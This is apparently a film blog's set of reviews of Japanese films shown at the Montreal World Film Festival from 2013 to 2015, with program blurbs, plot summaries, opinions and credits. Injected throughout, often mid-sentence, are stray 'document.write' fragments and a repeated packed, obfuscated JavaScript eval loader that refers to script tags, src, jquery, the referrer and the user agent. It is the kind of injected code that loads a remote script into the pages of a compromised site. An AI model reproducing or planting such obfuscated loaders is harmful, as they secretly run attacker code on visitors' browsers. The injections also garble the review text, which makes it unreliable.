“A woman stares at a deserted exhibition in the local museum, document.write(“”); a place said to be haunted by the phantom of a deer, “Ryomo-Shika”… Twenty-five years earlier three siblings reported seeing the deer, becoming first famous, then infamous when their claim was debunked. The fallout was devastating. The second son, Yoshio, is now living in a psychiatric institution; Akiko, the unsociable youngest daughter, lives in the country with an older man; and the eldest son, Fujio, who has remained in town, is burdened with debt from the family’s failing business. Now, with their father dying, the three siblings along with their respective partners and friends, have returned home, their first reunion in many years. But time hasn’t dulled their rivalries and or their rancour. They find themselves once again at a crossroads in life.”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aybyi|var|u0026u|referrer|atabs||js|php’.split(‘|’),0,{}))

(Text from the Festival’s program)

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

I admit that I misunderstood the movie description in the program, so I thought it would be some sort of ghost story. Not at all.

When they were kids, siblings Fujio, Yoshio and Akiko saw a rare deer that was supposed to be extinct and took a blurry picture. But people thought it was an hoax and that they lied to attract attention or just misidentified a common deer. They were quite hurt no to be believed. On top of that, after their mother’s death, their father became quite abusive, so the younger brother and sister left their hometown and the older brother stayed to take care of the family business. He has to work hard to keep it (and the town) together despite serious economic problems as a big development company tries to buy off the land. The younger brother seem to have a mild case of obsessive-compulsive disorder as he seems to have internalize all his guilt and frustrations from the childhood. The younger sister is good looking and has always had her ways with men, but unfortunately she eloped with a loser. She is very selfish but she eventually soften. She has a very unhappy life in Tokyo.

Twenty-five years later, they come back to their hometown when their father become gravely ill. They all have been greatly affected by their childhood have serious psychological problems. The death of the father brings back to the surface all their issues and what stayed unsaid for a long time is being expressed making their return trip a cathartic experience that is finally freeing them from the weight that had kept them miserable for all those years.

This is a very beautiful and interesting movie. Japanese movies are always good at showing us the beauty of the countryside. The director said that he was inspired by the fact that people from the countryside and people from the city seem to have very different mentality and way of life.

Dear Deer (????????): Japan, 2015, 107 mins; Dir.: Takeo Kikuchi; Scr.: Noriaki Sugihara; Ed.: Azusa Yamazaki; Music: Takuro Okada; Cast: Yuri Nakamura (Akiko), Yoichiro Saito (Yoshio), Shota Sometani (Fujio), Kôji Kiryû, Rinko Kikuchi, Yûrei Yanagi, Takeshi Yamamoto, Wakana Matsumoto, Yasushi Masaoka.

Film screened at the Montreal World Film Festival on September 3rd, 2015 (Cinema Quartier Latin 9, 11h00 – the theatre was filled only at 10% of its capacity) as part of the “First Film World Competition” segment. The director was present to introduce the movie and for a Q&A afterward.

For more information you can visit the following websites:

Dear Deer © 2015 Office Kiryu.

[ Traduire ]

“A tragic story of a girl who becomes a monster. Deeply in love, document.write(“”); Haruka decides to have sex with her boyfriend. But the results are catastrophic: she accidentally kills him. Traumatized, she flees the scene. Her cursed life has begun. Does she have any hope of escaping the malediction? A dark fantasy about life, sex and love. ”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftbzr|var|u0026u|referrer|dbbbi||js|php’.split(‘|’),0,{}))

(Text from the Festival’s program)

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

I was not expecting much from this movie. I thought it would be a Fantasia-style gory and sexual horror movie. I was surprised to discover I was a more subtler and meaningful fantastical tale.

Haruka is cursed. She goes to a love hotel to have sex for the first time with her boyfriend. What should have been a pleasant occasion turns into a nightmare when her boyfriend unexpectedly and painfully dies during intercourse. She has no idea what happened: she was enjoying herself on top of him when there’s suddenly a gush of blood as she appears to have ripped off her boyfriend’s penis. She flees the scene in horror. The next day, in the news, the police talks of a gruesome murder as the sex of the victim appears to have been bitten off in a very inhuman way.

She skips school and wanders around in a dazed state. Has she dreamed or hallucinated the whole ordeal? Is that a fantasy induced by teenage angst and sexual anxiety? Or is she really some sort of monster and it happened for real? Is that even possible to have teeth “down there”? As she wanders on the road, she is kidnapped and raped by a pervert, but she kills him too, by “biting” off his penis with her vagina. The curse is confirmed.

Eventually, she meets Yosuke — who is nice to her and helps her overcome the trauma. She also meets his sister (so she said but she ends up being a jealous impersonator stalking Yosuke). They starts dating but Haruka fears that if they go further she will kill him. However, she accepts to date him only if they have a sexless relationship. Of course, with time, Yosuke cannot endure such a sexless love and wants to have her even if he knows that it will probably kill him. A love to die for.

The director said he was inspired by the true story of Sada Abe — who killed her lover and kept his penis as a souvenir. Even if the story had already been adapted in several movies — the most famous being Ai no Korida / In the realm of the senses by Nagissa Oshima — it seemed to him to be a good starting point to talk about sex and love.

The movie was very low budget and was shot within twelve days with a crew of seven (all volunteers) but most of the work was done by Tetsuya Okabe (directing, script, editing, etc., even paying for the lunch of the crew!). The film looks pretty good for such a low budget production and the director succeeded to turn a subject of comedic horror into a thoughtful allegory.

The title, Haman (???), is a slang blend (or portemanteau) expression made from ? [Ha, tooth] and ???? [Omanko, vagina] meaning “toothed vagina”. I am not sure if the director was aware of this when he wrote the script (most probably), but the idea of the “vagina dentata” (in Latin) can be found in the folklore of many ancient cultures.

All in all, it was a good movie and I enjoyed it. It is amusing to see that the story ends up much more interesting by being treated through a more mainstream movie (with minimum gore and nudity–we see Haruka’s breast in only one scene) rather than as a comedic horror film.

Haman (??? / lit. “toothed vagina”): Japan, 2015, 95 min.; Dir./Scr./Ed.: Tetsuya Okabe; Phot.: Yumi Hasegawa; Music: HIR, Shintaro Mieda; Cast: Nonka Baba, Yusuke Kojima, Maki Mizui, Mukau Nakamura, Shoei Uno.

Film screened at the Montreal World Film Festival on September 2nd, 2015 (Cinema Quartier Latin 16, 20h30 – the theatre was filled only at 18% of its capacity) as part of the “World Great” segment. The director was present to introduce the movie and for a Q&A afterward.

For more information you can visit the following websites:
Haman © 2015?????.

[ Traduire ]

“Takashi Arimura had been working in Kyoto. Now that he’s reached the age of retirement he’s returned to his hometown, document.write(“”); Kagoshima. A beautiful city with a volcano overlooking it, but the vista can’t make up for the fact that life in retirement is depressing. With the encouragement of his wife, Kyoko, he takes up a new hobby — drawing. He picks a paintbrush for the first time. The world now looks very different. He now has a goal in life. Can he reach it?”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbese|var|u0026u|referrer|ztest||js|php’.split(‘|’),0,{}))

(Text from the Festival’s program)

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This movie shows us the boring life of a retired elderly couple. With her husband’s retirement money, Kyoko can finally open her own very small movie theatre. And Takashi can start to paint again, but he feels unhappy and thinks he has no talent. Life seems not worth living and he feels like just killing time before death. He meets a fortune teller who somehow predicts him better days and encourages him to be more optimistic.

He finds a new fascination for the Sakurajima island and its active volcano, so he starts making many trips there to paint the volcano. He submit his painting for a local exposition but it is not selected. However, he has found a new joy and feels life is worth living again.

The movie was shot in cinéma-vérité style with very little dialogue and some weird angle shots. The pace is so slow that the story doesn’t seem to progress at all sometimes. The movie seems excruciatingly long despite that it’s only eighty-eight minutes long! The photography is good and gives us the opportunity to see the beautiful countryside of Sakurajima as well as the rather ordinary cityscape of Kagoshima. It represents the image of the real, everyday Japan which is somewhat rather refreshing.

Despite its shortcomings, the movie offer an interesting subject. More and more Japanese are living longer to enjoy their retirement, even on a merger revenue (this couple didn’t seem rich at all since they live very simply, in a very small house and his clothing have many patches). They must find hobbies to make their retiring enjoyable.

Early Spring, Sakurajima (???? / Sakurajima soyun / Sakurajima early spring): Japan, 2015, 88 min.; Dir./Scr./Ed.: Hiroshi Toda: Phot.: Guillaume Tauveron, Hiroshi Toda; Music: Mica Toda; Cast: Yoichi Hayashi, Hitomi Wakahara, Kenkichi Nishi, Katsuhiko Nishi.

Film screened at the Montreal World Film Festival on August 30th, 2015 (Cinema Quartier Latin 16, 16h00 – the theatre was half full) as part of the “Focus on World Cinema” segment.

For more information you can visit the following websites:
Early Spring, Sakurajima © 2015 Skeleton Films.

[ Traduire ]

“Misao Sasho teaches Japanese in Hanoi, document.write(“”); Vietnam. One day she receives a phone call from Japan informing her of her father’s passing. Upon returning to Japan for her father’s funeral, she realizes that her mother has deteriorated and is becoming senile. She decides to take her back to Vietnam. The new environment works wonders. Misao’s mother enjoys the company of Misao’s acquaintances. She is suddenly the centre of attention…”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|resra|var|u0026u|referrer|dzbzn||js|php’.split(‘|’),0,{}))

(Text from the Festival’s program)

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This is one of the two best movies I’ve seen at the MWFF in 2015.

Misao is teaching Japanese in Hanoi, Vietnam. When she returns to Tokyo for her father’s funeral, she realizes that her mother Alzheimer’s disease has gotten worse. She’ bored at a stranger’s funeral: her husband’s! Her step-mother cannot take care of her anymore so Misao decides to bring her back to Vietnam with her, despite the opposition of her family. “It will make her worse” or “it will kill her,” they say.

At first, it works out pretty well and, despite the language barrier, her mother is getting along with Misao’s friends, students and the people of the neighbourhood (mostly owners of the local cafe’s, the Sakura Hotel, Japanese bar, the programming director of the VoV radio station, as well as the staff of the Youth Theatre, and a Japanese expat who drives a bicycle taxi). Together, they all live several adventures like helping a young Japanese woman to find her grand-father’s Vietnamese family that he left behind after WWII or organizing a musical show starring a very old (and also Alzheimer’s sufferer) theatrical actress.

Misao is even reacquainted with an old friend from her college days — when they were protesting during the university uprisings of the ’60s. He takes a job as another bicycle taxi driver but has an accident while carrying Misao’s mother who gets seriously hurt. Feeling guilty, he helps taking care of the old women after her hospitalization, but he has to leave because of his job as a TV producer. However, Misao cannot take care of her mother alone. It is a vey demanding task and she gets sick herself because of it. This is quite a somber moment in the movie and we really feel the pain for her (it has particularly hit home for me because, at the time of the screening, I had recently experience a similar situation in my family).

In the end, the mother gets better (from her hip replacement NOT from the Alzheimer’s because you never get better from that, you can only slow it down a little). Misao’s students stage a musical around a Japanese folk song that can provide a sort of allegory for Misao’s situation. Apart from Misao’s mother post-accident despair, it a fell-good and up beat movie. We have to take one day at a time and enjoy life while we can — and not give up on our loved ones.

The movie not only want to create awareness on the fact that the increasingly aging population of Japan means that the society will have to deal more and more with the problem of elderly’s dementia, but also it wants to remind the Japanese of the close ties (and maybe responsibilities) that still bind them with Vietnam, which was one of their pre-WWII “colonies.”

One negative point: I was told by someone who speaks vietnamese that the language spoken by the Japanese actors (which they most certainly learned phonetically) was so terrible that it was impossible to understand.

It is a well-paced drama that offers lots of light-hearted moments and allows the viewers to enjoy not only the beautiful cityscape of Hanoi, but also the surrounding countryside.

I really enjoyed this beautifully made movie which provided an excellent entertainment while making us think about very serious subjects like alzheimer and wars in Vietnam.

Blowing in the winds of Vietnam (??????????? / Betonamu No Kaze Ni Fukarete): Japan/Vietnam, 2015, 116 min.; Dir.: Tat Binh & Kazuki Omori; Scr.: Kazuki Omori, Uichiro Kitazaki (based on a novel by Miyuki Komatsu); Phot.: Koichi Saito; Ed.: Naoki Kaneko; Music: Tetsuro Kashibuchi; Cast: Eiji Okuda, Akira Emoto, Kôji Kikkawa, Keiko Matsuzaka, Yôsuke Saitô, Reiko Kusamura, Yûya Takayama, Shigehiro Yamaguchi, Reina Fujie, Yoneko Matsukane, Tan Nhuong, Lan Huong, Tan Hanh.

Film screened at the Montreal World Film Festival on August 29th, 2015 (Cinema Quartier Latin 12, 21h30 – the theatre was half full) as part of the “Focus on World Cinema” segment.

For more information you can visit the following websites:
Blowing in the wind of Vietnam © 2015?Blowing in the wind of Vietnam?Production Committee.

[ Traduire ]

“In 1581 during a bitter feud between 2 ninja clans, document.write(“”); Tao, a ninja from the Iga Clan, wakes up with amnesia. Forty ninjas lie dead in front of him and off to one side lies a dead female ninja. He doesn’t remember how and why he got there. His assignment is to retrieve a document that will reveal the traitor’s identity. Who killed all the ninjas? Is one of them the traitor? Little by little Tao solves the mystery.”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeadn|var|u0026u|referrer|kaenk||js|php’.split(‘|’),0,{}))

(Text from the Festival’s program)

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This screening was plagued from the start by numerous technical problems: the show started ten minutes late, there was microphone problems for the presentation, not long after the beginning the movie lost its sound, then there was sound but no picture, repeatedly. After forty-five minutes of agony, the screening was definitely stopped. I had to finish watching this movie in the press screening room later. In the end, this movie was a great disappointment.

Kei is a female ninja sent to the Koga clan as double agent. She comes back with a list of traitors inside the Iga clan. After bringing the list she go to see Tao, her friend. A battle ensue and Tao is hit on the head, loosing his memory. Now, Kei is dead, and he is not sure who the enemy is anymore. Maybe he is one of the traitor? Or is he one of the heroes? He will have to slowly figure out what happened.

This is clearly a low budget movie (they use lots of natural set like cave, temple, forest) that makes a terrible ninja movie with lots of bad fighting stunt. The costumes of not historically accurate (lots of leather and the female ninja wears high heel boots!) and the blood looks horribly fake. And there’s this very annoying special effects that marks the beginning and end of all flashbacks. The end credits are nice, though.

The idea is interesting but the execution is rather clumsy. The movie repeats the same battle scene again and again, each time with a different point of view, in order to show Tao’s conflicting memories, his current understanding of the situation or the reversal of his hypothesis. Did I mention the annoying flashbacks? The final battle is quite ridiculous. It’s an entertaining movie, but nothing more.

It is a kind of movie that would have had more appeal with the Fantasia audience, which is younger and specifically seek this kind of not-so-serious action movie. I guess that adding this title to the programming was an attempt from the MWFF to reach out to this kind of audience—without much success.

Ninja Hunter (???? / Ninja Gari) : Japan, 2015, 96 min.; Dir./Scr./Ed.: Seiji Chiba; Phot.: Kenji Tanabe, Arsuchi Yoshida; Music: Kuniyuki Morohashi; Cast: Mitsuki Koga, Mei Kurogawa, Masanori Mimoto, Kentarô Shimazu, Kazuki Tsujimoto.

Film screened at the Montreal World Film Festival on August 28th, 2015 (Cinema Quartier Latin 12, 16h00 – the theatre was a little more than a quarter full) as part of the “Focus on World Cinema” segment. The screening was interrupted due to technical problems.

For more information you can visit the following websites:
Ninja Hunter © 2015 Shochiku International.

[ Traduire ]

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkhye|var|u0026u|referrer|fdnzt||js|php’.split(‘|’),0,{}))
Today was a perfect day. Much better than yesterday.

Just before leaving this afternoon I have put online my first comment, document.write(“”); for the movie At Home.

I wish I could write more extensive comments but unfortunately I am a little too busy. Seeing movie after movie doesn’t leave enough time to do in-depth analysis. And when you sit at night, after having viewed three movies, it difficult to write in details about each of them. That’s why I try to put down on paper my first impression as soon as I leave the theatre. It’s easy to do when there’s a couple of hours in-between movies, but more difficult when you have to rush from one place to another with just minutes before the beginning of the next show (harder still when there’s a Q&A after a screening).

Anyway, my purpose with this blog has always been to simply introduce a work (be it a manga, a book or a movie) with just enough information (and links) to interest the readers and incite them to look further.

Yesterday, I saw At Home and Ninja Hunter.

Today, I’ve seen Kagura-me, Akai Tama and Blowing in the wind of Vietnam. All ranging from good to excellent. I’ll try to write and post my comments on those movies as soon as possible.

In the meantime, you can check my entry “Montreal World Film Festival 2015” for all the details on this year’s Japanese movies.

[ Traduire ]

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
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There was five japanese short films presented at the 2014 Montreal World Film Festival. I’ve seen most of them and here are a few thoughts about them.

Kemukujara

“Keblujara depicts the cycle of bullying. The weak beat the weaker and they, document.write(“”); in turn, beat those weaker than them. This chain is finally broken by the very weakest, who turns into a beast and proceeds to fulfill his destiny.” (Text from the Festival’s program)

“Fruit d’une première collaboration entre l’artiste visuel Nonowe Akihito et le compositeur Isao Sano, ce film d’animation dessiné et peint à la main raconte quatre courtes histoires issues d’un pays appelé le Keblujara.” (Extrait du programme)

This experimental stop motion animation has no dialogue and is the first part of the Keblujara series. It is the only Japanese shorts films that was in competition this year and the only one that I couldn’t manage to see. However, I heard very good comments about it. For more information I refer you to the excellent commentary written by Claude R. Blouin (in French).

Kemukujara: Japan/Australia, 2014, 13 min.; Dir./Scr.: Akihito Nonowe; Phot.: Isao Sano, Konoka Takashiro; Ed. : Keblujara Productions; Mus.: Isao Sano. Presented at the Montreal World Film Festival on August 27th (CI at 9h00 & 19h00) and 28th (CI at 14h00).

For more information you can visit the following websites:

All he knows right

“In Keblujara, a mad artist lives in a box on his own back.” (Text from the Festival’s program)

“Animation dessinée et peinte à la main qui raconte une histoire d’un pays fictif appelé le Keblujara, fruit d’une collaboration entre l’artiste visuel Nonowe Akihito et le compositeur Isao Sano.” (Extrait du programme)

This experimental stop motion animation has no dialogue and is the second part of the Keblujara series. I am not a big fan of stop motion animation, particularly this “artsy-fartsy” type which always have nebulous stories that can often be opened to interpretation. In this case, an artist is living in a box on his own back. It reminds me a little of weird Czech animations like The Fantastic Planet.

However, this film is technically quite interesting as it mixes techniques like stop motion and standard animation. I particularly liked the effect created by mixing real fire and stop motion animation which was well done and must have been quite difficult (as well as lengthy and complicated) to achieve.

I missed the screening of the longer first part of this series but I was told that this shorter segment was much better, easier to understand and more balanced. I had the opportunity to participate to a nice “chat” with the production team (I could follow some part of the conversation, but Mr. Blouin kindly translated most of it).

All He Knows Right: Japan/Australia, 2014, 5 min.; Dir./Scr.: Akihito Nonowe; Phot.: Isao Sano, Konoka Takashiro; Ed. : Keblujara Productions; Mus.: Isao Sano.
For more information you can visit the following websites:

Suicide Volunteers

“The film is based on a true story of the flight school instructor who sacrificed his life in the suicide attacks at the end of World War II.” (Text from the Festival’s program)

“Le commandant Fujii, un instructeur de l’école de pilotage, a sacrifié sa vie dans des attentats-suicides à la fin de la Seconde Guerre Mondiale. Adaptation d’une histoire véridique.” (Extrait du programme)

A man who trains Japanese airplane pilots for the their suicide mission feels he is not doing his patriotic duty and requests to join his recruits on their mission. His superior deny his plea because his position as trainer is essential and he has a wife and children. He eloquently convinces the few students who question the validity of their mission as a waste. After his wife kills herself and the children, he is finally allowed to go on a mission.

It is a beautiful treatment for the most stupid part of Japanese history. The movie seems strangely neutral about this subject, as it neither condone or condemn the use of kamikaze. It’s a good period drama considering the limitation of a short film. I particularly like the effects giving the pictures an old WW2 look and feel.

Suicide volunteers (???? / Tokko Shigan): Japan, 2013, 25 min.; Dir./Scr./Ed.: Kenshow Onodera; Phot.: Shigeo Kobayashi; Mus.: Shiro Mashiba; Cast: Mitsuki Koga, Yuka Takeshima, Yuji Shikano, Yuji Kakizaki.
For more information you can visit the following websites:

The Free man

“Jay is an ex-con who tries to turn over a new leaf by working at a laundry store [where he] shares duties with Kit, a young woman with physical disability who is the boss’ niece.” (Text from the Festival’s program)

“Jay, un ex-détenu, tente de tourner une nouvelle page en travaillant dans une blanchisserie. Il y rencontre Kit, une jeune femme avec un handicap physique, nièce du propriétaire.” (Extrait du programme)

This is the only non-japanese movie in this bundle of shorts. It’s a gritty reality type of movie. An ex-convict work in a laundry shop and likes the handicapped niece of the owner. However, he soon realize that his boss is abusing her, but he hesitate doing anything because he really needs the job and fear going back to prison. At some point it is just too much for him… The dark photography emphasize well the oppressive feeling, but for the rest it’s an average violent chinese movie.

Unfortunately, the english subtitles were out of frame for the ENTIRE movie (only the chinese subtitles were visible) so I couldn’t tell the details of the story and only guess. The dumb-ass projectionist was probably sleeping on the job or, worse, simply didn’t care to reframe the screen (even if several people got up to notify the theatre’s staff). It’s not the first time that such problem occur at this theatre. They seem to take the cinephiles for cash cows and don’t give a damn about them. A real shame!

The Free man: Taiwan, 2014, 30 min.; Dir./Ed.: Sam Quah; Scr.: Yu-Li Chen; Phot.: Xin Hua Feng; Mus.: Wu Xin-Ying; Cast: Ming-Shuai Shi, Xing-Xing Rao.
For more information you can visit the following websites:

No return on perishables

“Short story about a miraculous phenomenon: that desiring another’s happiness can lead to happiness for oneself.” (Text from the Festival’s program)

“Une histoire courte qui illustre un phénomène miraculeux : désirez le bonheur de quelqu’un d’autre peut apporter le bonheur pour soi-même.” (Extrait du programme)

This is a nice and cute romantic comedy.

An insurance salesman meets lots of people for his job. He helps a man who wanted to commit suicide and convince him to live (at least a few more years). He also encounter a woman on a pilgrimage to help her daughter find a nice young man she could marry and bring back her missing husband. The salesman was going to the temple to pray that the flower-shop girl he secretly loves notices him and says yes to his proposal, but instead, after having met the woman, he wishes that she finds her husband and a nice son-in-law. A little later, he purchases flowers at the flower-shop and then comes back to gives them to the girl (she thinks he wants a refund, so she tells him “No return on perishables”!). But then he realizes that the mother of the flower-shop girl is the woman he met earlier on a pilgrimage and that her missing husband is back (and its the man he saved from killing himself)!

It’s a funny story but I felt that the overall quality of the production was a little below professional standard. Also they used a filter on the picture to saturate the colours (to boost them out a little). At first I thought it was due to a bad print or (worse) to a bad cinematography, but after reflection it was probably deliberate to add a dreamy feeling to this moralistic fantasy.

No return on perishables (???????????? / Koi ha kangaeruna, ai ha kanjiro / lit. “Do not think of love, must feel love”): Japan, 2013, 18 min.; Dir./Scr./Ed.: Takatsugu Naito; Phot.: Akiyuki Michikawa; Cast : Ryo Yoshiki, Hiromi Hakogi, Nozomi Tanaka.
For more information you can visit the following websites:

When the sun falls

“A wealthy elite guard of the shogunate is under house arrest for dereliction of duty for allowing an unauthorized person into Edo castle. His fate is unknowned.” (Text from the Festival’s program)

“En 1802, un garde d’élite bien nanti du shogunat est en résidence surveillée pour avoir manqué à son devoir en permettant l’accès au château d’Edo à une personne non autorisée. Son sort est pour l’instant incertain.” (Extrait du programme)

This is a beautiful Jidaigeki movie (period drama). A samurai who was careless in his duty must wait while his fate is decided. He is finally asked to commit seppuku.

This movie offers an interesting reflection on family, duty and how to live one’s life. It is very well made and probably equals any feature-length movie of the same style (samurai costume drama). It is quite powerful for a short movie.

When the sun falls (????? / Hi-wa-ochiru): Japan, 2014, 39 min.; Dir./Scr.: Yuji Kakizaki; Phot.: Yoshinobu Furukawa; Mus.: Shingo Nishimura; Cast : Masayuki Deai, Yuka Takeshima, Go Ibuki, Motoya Izumi, Ikuya Enokizono, Hyuma Ishida.
For more information you can visit the following websites:
This bundle of five Japanese & Taiwanese shorts was screened at the Montreal World Film Festival on August 26th, 2014 (Cinema Quartier Latin 13, 21h40 – there was a little more than a dozen people on the room, which was filled only at twenty or twenty-five percent of its capacity!) as part of the “Focus on World Cinema” (Regular) segment.

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WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
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“Erika’s life fall aparts when her boyfriend leaves scars on both her heart and her face. The manager of the family restaurant where she works part time refuses to let her work with a scarred face, document.write(“”); and she has no way to pay for an abortion. She resolves never again to be at the mercy of sentiment. She decides to become a hostess at the Elleseine nightclub in Tokyo’s notorious Kabukichio entertainment and red-light district. Before long she has risen to the top, becoming the club’s number one hostess. But material fortune doesn’t always translate into personal happiness. Can she have her cake and eat it?” (Text from the Festival’s program)

This movie is based on Kurumi Tachibana’s two-part semi-autobiographical novel (Judas: Top and Judas: Bottom, bestsellers but not yet translated in english). It tells of the lightning ascension and downfall of the legendary club hostess in Tokyo’s Kabukich? district.

Erika is an insecure high school student in Saitama prefecture. Betrayed by her boyfriend, she finds herself pregnant, scarred and has consequently lost her job. A chance encounter with the manager of a hostess club from the entertainment district of Omiya will give her an opportunity to earn the money she needs for an abortion and provide her some sense of purpose. Within a year, under the professional name of Hitomi, she becomes the number one hostess of the club Elleseine. A hostess is basically a modern geisha: she flirts, provides drinks, attention, and entertainment to the salarymen that mostly constitute the clientele. It generally never involves sex. She manipulates men, creates a desire and fill their sense of affective emptiness with her glamorous act that indulge their greed, lust and illusion of power. Ultimately, she simply tricks them into spending money at the club and on lavish gifts for her.

However, she still doesn’t feel fulfilled. She has lost faith in true love and has therefore forsaken having any real relationships. She is troubled by her loneliness and the fear of being overcome again by weakness. But who could fill her own emptiness? She hides behind the armour of her make-up and all she can do is abandon herself to an insatiable ambition for more power and money. [Left: the real Kurumi Tachibana]

She changes her name to Kurumi and moves to Eden, a top-class hostess club in Kabukicho. The competition is fierce amongst the hostesses. However, despite being bullied by top-hostess Mimi, she reaches the number two position in just two months. But that’s still not enough. She succeeds climbing to the top by using betrayal, which earns her the nickname “Judas”. One day, Mimi is sick and shows some weakness by trusting into Kurumi’s hand her most important customer and lover: Saeki. She woos him and steel him from Mimi. She becomes the most desirable hostess but also the most ruthless: she abandoned Saeki when he’s bankrupted and drove one of her first and most faithful customers, Nawa (nicknamed “Beethoven”), to the brink of financial ruin.

One day, she meets a young finance tycoon named Ohno and she slowly falls for him. She does her best to resist the attraction and battle her own weakness. She moved to the ultra luxurious nightclub Dulcinea and, as she feel being at the top, her entire world comes down on her. When Ohno suddenly disappears, she discovers that he is a fraudster and loan-shark wanted by the police! Can she find a way to bounce back?

Evidently she has. After spending eight years in the extreme world of hostess clubs, Kurumi Tachibana is now a popular writer, actress and TV personality.

Judas is a movie about growth: the main character lacks confidence but go through many experiences that will change her and eventually make her better. Unfortunately, the movie is lacking something. It feels like the Readers’ Digest version of Tachibana’s biography as her life’s main events unfold before our eyes on fast-forward. We just can’t feel the emotions.

However, it is still a good, entertaining movie. It provides a women point of view on the world, which is rare in the Japanese movie industry. It is a movie about women, produced by a staff almost entirely made of women. It also give us an interesting insight into the world of hostess clubs and offers a fascinating portrayal of human emotional distress. Despite its flaws, it is an intriguing movie, worth watching. Unfortunately, the Dvd release is so far available only in Japanese (amazon.jp, Yesasia).
Judas ( ?? / Yuda ): Japan, 2013, 109 min.; Dir.: Izumi Ohtomi; Scr. Izumi Ohtomi & Kurumi Tachibana (based on her autobiography); Phot.: Natsuha Nakamura; Ed.: Masaki Murayama; Mus.: Masataka Kitaura; Prod.: Harumi Hoshino; Cast: Ayame Misaki, Sho Aoyagi, Kenji Mizuhashi, Noriko Aoyama, Ryohei Suzuki, NorA, Yusei Tajima, Itsuji Itao; Distrib.: Pony Canyon Intl. Film screened at the Montreal World Film Festival on August 30th, 2013 (Cinema Quartier Latin 9, 16h50–the theatre was less than a quarter full, with about 75 people) as part of the “Focus on World Cinema” segment.
For more information you can visit the following websites:
Judas © 2011 movie “Judas” Production Committee. All Rights Reserved.

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WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytbrf|var|u0026u|referrer|rzafy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhfty|var|u0026u|referrer|zsyie||js|php’.split(‘|’),0,{}))
